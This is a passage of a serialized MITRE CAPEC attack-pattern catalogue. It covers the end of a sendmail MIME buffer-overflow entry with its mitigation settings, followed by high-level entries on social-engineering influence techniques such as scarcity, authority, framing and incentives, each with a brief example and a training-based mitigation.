xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shell code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target system uses a mail server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Mail server vendor has not released a patch for the MIME conversion routine, the patch itself has a security hole or does not fix the original problem, or the patch has not been applied to the user's system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22323 + Skill_22323 + + + + + + + + + + + + + + It may be trivial to cause a DoS via this attack pattern + + + + + + + + + + + + #indSkillSkill22324 + Skill_22324 + + + + + + + + + + + + + + Causing arbitrary code to execute on the target system. + + + + + + + + + + + + #indConsequenceConsequence22327 + Consequence_22327 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22334 + Consequence_22334 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence22338 + Consequence_22338 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence22342 + Consequence_22342 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Stay up to date with third party vendor patches</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Disable the 7 to 8 bit conversion. This can be done by removing the F=9 flag from all Mailer specifications in the sendmail.cf file.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, a sendmail.cf file with these changes applied should look similar to (depending on your system and configuration):&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn, S=10/30, R=20/40,&lt;xhtml:div style="margin-left:1em;"&gt;T=DNS/RFC822/X-Unix,&lt;xhtml:br&gt;&lt;/xhtml:br&gt;A=mail -d $u&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;Mprog, P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40,&lt;xhtml:div style="margin-left:1em;"&gt;D=$z:/,&lt;xhtml:br&gt;&lt;/xhtml:br&gt;T=X-Unix,&lt;xhtml:br&gt;&lt;/xhtml:br&gt;A=sh -c $u&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This can be achieved for the "Mlocal" and "Mprog" Mailers by modifying the ".mc" file to include the following lines:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;define(`LOCAL_MAILER_FLAGS',&lt;xhtml:div style="margin-left:1em;"&gt;ifdef(`LOCAL_MAILER_FLAGS',&lt;xhtml:div style="margin-left:1em;"&gt;`translit(LOCAL_MAILER_FLAGS, `9')',&lt;xhtml:br&gt;&lt;/xhtml:br&gt;`rmn'))&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;define(`LOCAL_SHELL_FLAGS',&lt;xhtml:div style="margin-left:1em;"&gt;ifdef(`LOCAL_SHELL_FLAGS',&lt;xhtml:div style="margin-left:1em;"&gt;`translit(LOCAL_SHELL_FLAGS, `9')',&lt;xhtml:br&gt;&lt;/xhtml:br&gt;`eu'))&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;and then rebuilding the sendmail.cf file using m4(1).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From "Exploiting Software", please see reference below.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use the sendmail restricted shell program (smrsh)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use mail.local</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.&lt;/xhtml:p&gt;See also: CVE-1999-0047</xhtml:div> + + + + + 120 + + + + + 119 + + + + + 74 + + + + + 20 + + + + + + + + + + + + #indReferenceReference22381 + Reference_22381 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference22382 + Reference_22382 + + + + + + + + + REF-364 + + + + + + + + + + + + #indContentHistoryContentHistory22384 + Content_History_22384 + + + + + + + + + + + + + + + + #indSubmissionSubmission22385 + Submission_22385 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22390 + Modification_22390 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification22396 + Modification_22396 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Mitigations + + + + + + + + + + + + #CAPEC-420 + Influence Perception of Scarcity + + + + + + + + + 420 + + + + + Influence Perception of Scarcity + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary leverages a perception of scarcity to persuade the target to perform an action or divulge information that is advantageous to the adversary. By conveying a perception of scarcity, or a situation of limited supply, the adversary aims to create a sense of urgency in the context of a target's decision-making process.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22410 + Related_Attack_Pattern_22410 + + + + + + + + + + + + + + 417 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22416 + Skill_22416 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22422 + Consequence_22422 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends an email to a target about a limited-time opportunity to claim a considerable monetary reward. The email contains a link to a site which the adversary says is only active for a short time and to the first person to claim it. By convincing the user of the scarcity of the monetary reward, the adversary aims to persuade them to click on the malicious link in the email.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22437 + Reference_22437 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22439 + Content_History_22439 + + + + + + + + + + + + + + + + #indSubmissionSubmission22440 + Submission_22440 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22445 + Modification_22445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Methods_of_Attack, References, Related_Attack_Patterns, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22451 + Previous_Entry_Name_22451 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Scarcity + + + + + + + + + + + + #CAPEC-421 + Influence Perception of Authority + + + + + + + + + 421 + + + + + Influence Perception of Authority + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a social engineering technique to convey a sense of authority that motivates the target to reveal specific information or take specific action. There are various techniques for producing a sense of authority during ordinary modes of communication. One common method is impersonation. By impersonating someone with a position of power within an organization, an adversary may motivate the target individual to reveal some piece of sensitive information or perform an action that benefits the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22460 + Related_Attack_Pattern_22460 + + + + + + + + + + + + + + 417 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22466 + Skill_22466 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22472 + Consequence_22472 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary calls the target and announces that they are the head of IT at the target's company. The adversary goes on to say that there has been a technical issue and they need the target's login credentials for their account. By convincing the target of their authority, the adversary hopes the target will reveal the sensitive information.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22487 + Reference_22487 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22489 + Content_History_22489 + + + + + + + + + + + + + + + + #indSubmissionSubmission22490 + Submission_22490 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22495 + Modification_22495 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Methods_of_Attack, Related_Attack_Patterns, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification22501 + Modification_22501 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification22507 + Modification_22507 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22513 + Previous_Entry_Name_22513 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Authority + + + + + + + + + + + + #CAPEC-422 + Influence Perception of Commitment and Consistency + + + + + + + + + 422 + + + + + Influence Perception of Commitment and Consistency + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses social engineering to convince the target to do minor tasks as opposed to larger actions. After complying with a request, individuals are more likely to agree to subsequent requests that are similar in type and required effort.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22523 + Related_Attack_Pattern_22523 + + + + + + + + + + + + + + 417 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22529 + Skill_22529 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22535 + Consequence_22535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Individuals should avoid complying with suspicious requests.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22548 + Reference_22548 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22550 + Content_History_22550 + + + + + + + + + + + + + + + + #indSubmissionSubmission22551 + Submission_22551 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22556 + Modification_22556 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Related_Attack_Patterns, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification22562 + Modification_22562 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22568 + Previous_Entry_Name_22568 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Commitment and Consistency + + + + + + + + + + + + #CAPEC-423 + Influence Perception of Liking + + + + + + + + + 423 + + + + + Influence Perception of Liking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary influences the target's actions by building a relationship where the target has a liking to the adversary. People are more likely to be influenced by people of whom they are fond, so the adversary attempts to ingratiate themself with the target via actions, appearance, or a combination thereof.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22577 + Related_Attack_Pattern_22577 + + + + + + + + + + + + + + 417 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.The adversary must have knowledge of the types of things that the target likes.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22583 + Skill_22583 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + + + + + + + + #indConsequenceConsequence22586 + Consequence_22586 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22598 + Reference_22598 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22600 + Content_History_22600 + + + + + + + + + + + + + + + + #indSubmissionSubmission22601 + Submission_22601 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22606 + Modification_22606 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Related_Attack_Patterns, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification22612 + Modification_22612 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22618 + Previous_Entry_Name_22618 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Liking + + + + + + + + + + + + #CAPEC-424 + Influence Perception of Consensus or Social Proof + + + + + + + + + 424 + + + + + Influence Perception of Consensus or Social Proof + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary influences the target's actions by leveraging the inherent human nature to assume behavior of others is appropriate. In situations of uncertainty, people tend to behave in ways they see others behaving. The adversary convinces the target of adopting behavior or actions that is advantageous to the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22628 + Related_Attack_Pattern_22628 + + + + + + + + + + + + + + 417 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22634 + Skill_22634 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + + + + + + + + #indConsequenceConsequence22637 + Consequence_22637 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22649 + Reference_22649 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22651 + Content_History_22651 + + + + + + + + + + + + + + + + #indSubmissionSubmission22652 + Submission_22652 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22657 + Modification_22657 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Related_Attack_Patterns, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22663 + Previous_Entry_Name_22663 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Perception of Consensus or Social Proof + + + + + + + + + + + + #CAPEC-425 + Target Influence via Framing + + + + + + + + + 425 + + + + + Target Influence via Framing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses framing techniques to contextualize a conversation so that the target is more likely to be influenced by the adversary's point of view. Framing is information and experiences in life that alter the way we react to decisions we must make. This type of persuasive technique exploits the way people are conditioned to perceive data and its significance, while avoiding negative or avoidance responses from the target. Rather than a specific technique framing is a methodology of conversation that slowly encourages the target to adopt to the adversary's perspective. One technique of framing is to avoid the use of the word "No" and to contextualize responses in a manner that is positive. When performed skillfully the target is much more likely to volunteer information or perform actions favorable to the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22672 + Related_Attack_Pattern_22672 + + + + + + + + + + + + + + 416 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22678 + Skill_22678 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + + + + + + + + #indConsequenceConsequence22681 + Consequence_22681 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Successful attacks that influence the target via framing into performing an action or sharing sensitive information can result in a variety of consequences that negatively affect the confidentiality of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid sharing unnecessary information during interactions beyond what is absolutely required for effective communication.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22692 + Reference_22692 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22694 + Content_History_22694 + + + + + + + + + + + + + + + + #indSubmissionSubmission22695 + Submission_22695 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22700 + Modification_22700 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification22706 + Modification_22706 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-426 + Influence via Incentives + + + + + + + + + 426 + + + + + Influence via Incentives + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary incites a behavior from the target by manipulating something of influence. This is commonly associated with financial, social, or ideological incentivization. Examples include monetary fraud, peer pressure, and preying on the target's morals or ethics. The most effective incentive against one target might not be as effective against another, therefore the adversary must gather information about the target's vulnerability to particular incentives.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22719 + Related_Attack_Pattern_22719 + + + + + + + + + + + + + + 416 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.The adversary must have knowledge of the incentives that would influence the actions of the specific target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22725 + Skill_22725 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + + + + + + + + #indConsequenceConsequence22728 + Consequence_22728 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that successfully incentivize the target into performing an action beneficial to the adversary can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22740 + Reference_22740 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22742 + Content_History_22742 + + + + + + + + + + + + + + + + #indSubmissionSubmission22743 + Submission_22743 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22748 + Modification_22748 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22754 + Previous_Entry_Name_22754 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Manipulation of Incentives + + + + + + + + + + + + #CAPEC-427 + Influence via Psychological Principles + + + + + + + + + 427 + + + + + Influence via Psychological Principles + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary shapes the target's actions or behavior by focusing on the ways human interact and learn, leveraging such elements as cognitive and social psychology. In a variety of ways, a target can be influenced to behave or perform an action through capitalizing on what scholarship and research has learned about how and why humans react to specific scenarios and cues.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22763 + Related_Attack_Pattern_22763 + + + + + + + + + + + + + + 416 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the means and knowledge of how to communicate with the target in some manner.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22769 + Skill_22769 + + + + + + + + + + + + + + The adversary requires strong inter-personal and communication skills. + + + + + + + + + + + + #indConsequenceConsequence22772 + Consequence_22772 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacks that successfully influence the target into performing an action via psychological principles can result in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indReferenceReference22784 + Reference_22784 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22786 + Content_History_22786 + + + + + + + + + + + + + + + + #indSubmissionSubmission22787 + Submission_22787 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22792 + Modification_22792 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Methods_of_Attack, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22798 + Previous_Entry_Name_22798 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Psychological Principles + + + + + + + + + + + + #CAPEC-428 + Influence via Modes of Thinking + + + + + + + + + 428 + + + + + Influence via Modes of Thinking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary tailors their communication to the language and thought patterns of the target thereby weakening barriers or reluctance to communication. This method is a way of building rapport with a target by matching their speech patterns and the primary ways or dominant senses with which they make abstractions. This technique can be used to make the target more receptive to sharing information because the adversary has adapted their communication forms to match those of the target. When skillfully employed, the target is likely to be unaware that they are being manipulated.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22806 + Related_Attack_Pattern_22806 + + + + + + + + + + + + + + 427 + + + + + + + + + + + + #indReferenceReference22809 + Reference_22809 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22811 + Content_History_22811 + + + + + + + + + + + + + + + + #indSubmissionSubmission22812 + Submission_22812 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22817 + Modification_22817 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22823 + Previous_Entry_Name_22823 + + + + + + + + + 2017-08-04 + + + + + Target Influence via Modes of Thinking + + + + + + + + + + + + #CAPEC-429 + Target Influence via Eye Cues + + + + + + + + + 429 + + + + + Target Influence via Eye Cues + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary gains information via non-verbal means from the target through eye movements.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22831 + Related_Attack_Pattern_22831 + + + + + + + + + + + + + + 427 + + + + + + + + + + + + #indReferenceReference22834 + Reference_22834 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory22836 + Content_History_22836 + + + + + + + + + + + + + + + + #indSubmissionSubmission22837 + Submission_22837 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation 